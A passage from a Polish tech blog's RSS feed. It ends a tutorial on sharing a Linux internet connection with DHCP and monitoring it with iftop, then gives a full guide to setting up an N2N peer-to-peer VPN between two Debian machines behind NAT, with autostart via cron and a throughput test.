<p>Teraz komputer PC1 otrzyma adres IP od serwera DHCP. Dzięki skonfigurowaniu puli adresów (192.168.5.100 &#8211; 192.168.5.200) możliwe jest udostępnienie wielu komputerom internetu, wystarczy w miejsce komputera PC1 umieścić switch, a następnie do niego podpiąć dowolną ilość komputerów. Każdy z nich otrzyma adres IP i każdy będzie mógł korzystać z internetu za pośrednictwem R1.</p>
<p>Pora przetestować czy wszytko działa. Najpierw sprawdźmy, czy host PC1 dostał adres IP. W moim przypadku hostem PC1 jest router TPLink z oprogramowaniem <a href="http://eko.one.pl/?p=openwrt-gargoylepl" title="">Gargoyle</a>.</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int3.png" data-rel="lightbox-image-2" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-93 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int3.png" alt="" width="533" height="385" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int3.png 533w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int3-300x217.png 300w" sizes="(max-width: 533px) 100vw, 533px" /></a></p>
<p>Jak widać na powyższym screenie PC1 dostał z DHCP adres 192.168.5.100, teraz pora przetestować łączność z internetem, np. pingując jakąś stronę. Przydatnym narzędziem do analizy ruchu przechodzącego przez R1 jest aplikacja <a href="http://www.dobreprogramy.pl/webnull/Narzedzia-iftop-monitorowanie-ruchu-sieciowego-w-czasie-rzeczywistym,25767.html" title="">iftop</a>. Iftop może być przydatne w przypadku, gdy chcemy udostępnić łącze internetowe wielu urządzeniom i chcemy w czasie rzeczywistym widzieć z jakimi adresami łączą się hosty, oraz jakie pasmo zużywają.</p>
<p>Instalacja iftop odbywa się nastepująco:</p>
<pre>root@debian-lab:~# apt-get install iftop</pre>
<p>Odpalić ją można wpisując:</p>
<pre>root@debian-lab:~# iftop -i eth0</pre>
<p>Po uruchomieniu naszym oczom powinno się ukazać coś podobnego:</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int4.png" data-rel="lightbox-image-3" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-94 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int4.png" alt="" width="638" height="311" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int4.png 638w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int4-300x146.png 300w" sizes="(max-width: 638px) 100vw, 638px" /></a></p>
<p>Powyższy wynik działania polecenia Iftop oznacza, że nasz router przepuszcza ruch z hosta PC1 o adresie (192.168.5.100), co oznacza żę PC1 ma łączność z internetem. Przedstawione przeze mnie udostępnianie internetu może się przydać w sytuacji, w której internet mamy podpięty bezpośrednio do komputera i chcemy go udostępnić innym urządzeniom w domu nie posiadając routera.</p>
]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/udostepnianie-polaczenia-internetowego-w-systemie-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tunel VPN P2P bez adresów publicznych</title>
		<link>https://kubsoo.github.io/rsnet-website/tunel-vpn-p2p-bez-adresow-publicznych/</link>
		<comments>https://kubsoo.github.io/rsnet-website/tunel-vpn-p2p-bez-adresow-publicznych/#respond</comments>
		<pubDate>Sun, 12 Mar 2017 17:18:40 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=73</guid>
		<description><![CDATA[Zapewne nie raz spotkaliście się z sytuacją, kiedy musieliście się połączyć z komputerem zdalnym, który nie posiadał publicznego adresu. W tym celu konieczne było skorzystanie z jakiegoś programu realizującego funkcje&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Zapewne nie raz spotkaliście się z sytuacją, kiedy musieliście się połączyć z komputerem zdalnym, który nie posiadał publicznego adresu. W tym celu konieczne było skorzystanie z jakiegoś programu realizującego funkcje zdalnego dostępu. W rozwiązaniach komercyjnych stosuje się do tego celu połączenia <a href="http://pl.wikipedia.org/wiki/Virtual_Private_Network" title="">VPN</a>, jednak wymagają one odpowiedniego sprzętu (router z VPN). Do użytku prywatnego istnieją darmowe rozwiązania, które tworzą sieć VPN bez dodatkowego sprzętu, wystarczy zainstalować na komputerze odpowiednie oprogramowanie. Jednym z najpopularniejszych tego typu programów jest <a href="http://www.teamviewer.com/" title="">TeamViewer</a> (dostępny m.in. na Windows, Linux, Mac), który umożliwia zdalne zarządzanie komputerami, na których jest zainstalowany. Działa on jak zdalny pulpit, z tą różnicą że komputer do którego chcemy się podłączyć nie musi znajdować się w naszej sieci LAN. TeamViewer nie umożliwia jednak połączeń terminalowych przez ssh. Do tego typu celów doskonale sprawdza się oprogramowanie N2N.</p>
<p><span id="more-73"></span></p>
<p style="text-align: justify;"><strong>N2N</strong></p>
<p style="text-align: justify;"><a href="http://www.ntop.org/products/n2n/" title="">N2N</a> jest programem, który umożliwia tworzenie tuneli VPN wykorzystując metodę <a href="http://pl.wikipedia.org/wiki/Peer-to-peer" title="">Peer-to-Peer</a>. N2N pozwala na połączenie komputerów znajdujących się za <a href="http://pl.wikipedia.org/wiki/Network_Address_Translation" title="">NAT</a>-em oraz komputerów korzystających z sieci z zablokowanymi portami wejściowymi (np. sieć komórkowa 3G). Architektura N2N opiera się na dwóch elementach: węzłach brzegowych i węźle głównym.</p>
<p style="text-align: justify;">Węzły brzegowe to nic innego jak urządzenia które będziemy łączyć ze sobą przy pomocy węzła głównego w sieć VPN. Węzeł główny to komputer, do którego będą się łączyły węzły brzegowe. Może być to nasz komputer (jednak musi posiadać publiczny adres IP), albo można skorzystać z dostępnych serwerów (tzw. public supernode).</p>
<p style="text-align: justify;">N2N jest dostępny na wiele platform. Ja korzystam z niego na komputerach z Debianem, na routerze z OpenWrt (Gargoyle), na RaspberryPI z Raspbmc, oraz na telefonie z Androidem. Probowalem uruchomić N2N na komputerze z Windows 7 jednak nie udało mi się tego zrobić. Dlatego wymyśliłem proste rozwiązanie, jako że bardzo często korzystam z VirtualBoxa, to postawiłem maszynę wirtualną z Debianem, do której łączę się przez ssh (<a href="http://uptime.com.pl/mobaxterm-narzedzie-do-zdalnego-dostepu-ssh-rdp-telnet-sftp/" title="">MobaXterm</a>) i na niej zainstalowałem N2N. Na chwilę obecną mam 5 urządzeń z zainstalowanym N2N i do każdego mogę się podłączyć przez ssh. Najbardziej podoba mi się N2N na telefon z Androidem, dzieki temu mam dostęp do moich urządzeń gdziekolwiek jestem. Do poprawnego działania oprogramowania na Androida trzeba mieć zroot&#8217;owany telefon.</p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"><strong>KONFIGURACJA</strong></p>
<p style="text-align: justify;">Poniżej przedstawię przykład połączenie dwóch komputerów znajdujących się za NAT&#8217;em (PC1 i PC2) w sieć VPN wykorzystując oprogramowanie N2N. Na komputerach zainstalowany jest Debian &#8222;Wheezy&#8221; 7.0. Oba komputery znajdują się za NAT&#8217;em i nie jest możliwe bezpośrednie ich połączenie ze sobą, w tym celu skorzystam z węzła głównego dostarczanego przez <a href="http://www.remoteqth.com/" title="">remoteqth.com</a> o adresie publicznym: 78.111.124.210:82, gdzie 82 oznacza numer portu, na którym serwer nasłuchuje połączeń od węzłów brzegowych.</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n1.png" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-75 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n1.png" alt="" width="392" height="394" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n1.png 392w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n1-150x150.png 150w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n1-298x300.png 298w" sizes="(max-width: 392px) 100vw, 392px" /></a></p>
<p style="text-align: center;">Schemat połączenia.</p>
<p>&nbsp;</p>
<p style="text-align: justify;"><strong>Instalacja krok po kroku:</strong></p>
<ol style="text-align: justify;">
<li>Najpierw na obu komputerach należy zainstalować pakiet n2n wydając polecenie:</li>
</ol>
<pre style="text-align: justify;">root@debian:~# apt-get install n2n</pre>
<ol style="text-align: justify;" start="2">
<li>Teraz konieczne jest wybranie następujących parametrów:</li>
</ol>
<ul style="text-align: justify;">
<li>hasła, którego n2n będzie używać do szyfrowania transmisji;</li>
<li>nazwa sieci (community), każdy węzeł brzegowy może należeć jednocześnie do kliku sieci VPN, ktore są określane przez nazwe sieci;</li>
<li>adresy IP węzłów brzegowych, adresy IP węzłów w tej samej sieci VPN (community) muszą być z tej samej podsieci.</li>
</ul>
<p style="text-align: justify;">Ja do mojego przykładu wybralem następujące parametry:</p>
<ul style="text-align: justify;">
<li>hasło &#8211; &#8222;abcd1234&#8221;</li>
<li>community &#8211; &#8222;vpn&#8221;</li>
<li>adresy IP &#8211; PC1 : 10.10.10.1 ; PC2 : 10.10.10.2</li>
</ul>
<ol style="text-align: justify;" start="3">
<li>Uruchomienie programu:</li>
</ol>
<p style="text-align: justify;">Na PC1:</p>
<pre style="text-align: justify;">root@debian:~# N2N_KEY=abcd1234 /usr/sbin/edge -d n2n0 -a 10.10.10.1 -c vpn -f -l 78.111.124.210:82 -b</pre>
<p style="text-align: justify;">Na PC2:</p>
<pre style="text-align: justify;">root@debian:~# N2N_KEY=abcd1234 /usr/sbin/edge -d n2n0 -a 10.10.10.2 -c vpn -f -l 78.111.124.210:82 -b</pre>
<p style="text-align: justify;">Opcja -d n2n0 określa nazwę interfejsu <a href="http://pl.wikipedia.org/wiki/TUN/TAP" title="">TAP</a>, który zostanie stworzony przez program N2N i do którego zostanie przypisany wybrany przez nas adres IP, natomiast opcja -f oznacza, że program będzie działał w tle.</p>
<p style="text-align: justify;">Po wydaniu powyższych poleceń na PC1 i na PC2, na ekranie konsoli powinien pojawić się następujący komunikat:</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n2.png" data-rel="lightbox-image-1" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-76 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n2.png" alt="" width="834" height="81" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n2.png 834w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n2-300x29.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n2-768x75.png 768w" sizes="(max-width: 834px) 100vw, 834px" /></a></p>
<p style="text-align: justify;">oznacza on, że program poprawnie utworzył interfejs n2n0 i nadał mu odpowiedni adres IP. Teraz można zweryfikować utworzony interfejs wydając polecenie:</p>
<pre style="text-align: justify;"><em>root@debian:~# ifconfig n2n0</em></pre>
<p style="text-align: justify;"><em><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n3.png" data-rel="lightbox-image-2" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-77 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n3.png" alt="" width="568" height="141" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n3.png 568w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n3-300x74.png 300w" sizes="(max-width: 568px) 100vw, 568px" /></a> </em></p>
<p style="text-align: justify;">Teraz można przetestować, czy między komputerami PC1 i PC2 jest łączność, w tym celu pingujemy z jednego komputera drugi:</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n4.png" data-rel="lightbox-image-3" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-78 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n4.png" alt="" width="512" height="216" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n4.png 512w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n4-300x127.png 300w" sizes="(max-width: 512px) 100vw, 512px" /></a></p>
<p style="text-align: justify;">Jeśli nie działa nam komunikacja to należy sprawdzić czy poprawnie wpisaliśmy hasło (N2N_KEY), nazwę sieci VPN (community) oraz czy adresy IP są z tej samej podsieci, w moim przypadku podsieć to 10.10.10.0/24. Szczegółowe informacje na temat ew problemów z działaniem N2N można znaleźć w syslogu:</p>
<pre style="text-align: justify;">root@debian:~# cat /var/log/syslog</pre>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n5.png" data-rel="lightbox-image-4" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-79 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n5.png" alt="" width="601" height="269" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n5.png 601w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n5-300x134.png 300w" sizes="(max-width: 601px) 100vw, 601px" /></a></p>
<ol style="text-align: justify;" start="4">
<li>Autostart</li>
</ol>
<p style="text-align: justify;">N2N możemy uruchomić przy starcie naszego systemu, w tym celu należy w pierwszej kolejności stworzyć plik <em>n2n_autostart.sh</em> o następującej zawartości:</p>
<p style="text-align: justify;">Dla PC1:</p>
<pre style="text-align: justify;">#!/bin/bash

N2N_KEY=abcd1234 /usr/sbin/edge -d n2n0 -a 10.10.10.1 -c vpn -f -l 78.111.124.210:82 -b</pre>
<p style="text-align: justify;">Dla PC2:</p>
<pre style="text-align: justify;">#!/bin/bash

N2N_KEY=abcd1234 /usr/sbin/edge -d n2n0 -a 10.10.10.2 -c vpn -f -l 78.111.124.210:82 -b</pre>
<p style="text-align: justify;">Skryptowi należy nadać atrybut wykonywalności +x:</p>
<pre style="text-align: justify;">root@debian:~# chmod +x n2n_autostart.sh</pre>
<p style="text-align: justify;">Po utworzeniu skryptów konieczne jest dodanie poniższego wpisu do tablic crontab obu komputerów:</p>
<pre style="text-align: justify;">@reboot /root/n2n_autostart.sh &gt;&gt; /var/log/cron 2&gt;&amp;1 &amp;</pre>
<p style="text-align: justify;">Do edycji tablicy crontab służy polecenie:</p>
<pre style="text-align: justify;">root@debian:~# crontab -e</pre>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n6.png" data-rel="lightbox-image-5" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-80 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n6.png" alt="" width="666" height="407" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n6.png 666w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n6-300x183.png 300w" sizes="(max-width: 666px) 100vw, 666px" /></a></p>
<p style="text-align: justify;">W moim przykładzie plik n2n_autostart.sh znajduje się w katalogu /root/n2n_autostart.sh , jeśli jednak skrypt znajduje się w innym katalogu, to trzeba zmienić we wpisie crontab ścieżkę skryptu.</p>
<p style="text-align: justify;">Poniższy wpis w crontab spowoduje, że przy każdym restarcie i uruchomieniu się komputera zostanie uruchomiony skrypt n2n_autostart.sh, a jego wynik zostanie zapisany w logu: <em>/var/log/cron</em>.</p>
<p style="text-align: justify;"><strong>WYDAJNOŚĆ</strong></p>
<p style="text-align: justify;">Teraz pora na test wydajności połączenia pomiędzy komputerami w sieci N2N VPN. Do testowania połączenia użyłem oprogramowania <a href="https://iperf.fr/" title="">iperf</a>:</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n7.png" data-rel="lightbox-image-6" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-81 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n7.png" alt="" width="581" height="228" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n7.png 581w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/n2n7-300x118.png 300w" sizes="(max-width: 581px) 100vw, 581px" /></a></p>
<p style="text-align: justify;">Jak widać na powyższym screenie prędkość połączenia TCP pomiędzy komputerami PC1 i PC2 wynosi ok <strong>0,5Mb/s</strong>, co nie jest najgorszym wynikiem, a przy połączeniach terminalowych w zupełności wystarcza. Na ten wynik w głównej mierze ma wpływ korzystanie z serwera pośredniczącego jakim jest węzeł główny 78.111.124.210:82. Musimy wziąć pod uwagę, że serwer ten jest dostarczany za darmo i umożliwia nam dostęp do komputerów, które nie posiadają publicznych adresów IP (są za NAT&#8217;em i nie są dostępne z zewnątrz), więc nie ma co narzekać.</p>
]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/tunel-vpn-p2p-bez-adresow-publicznych/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
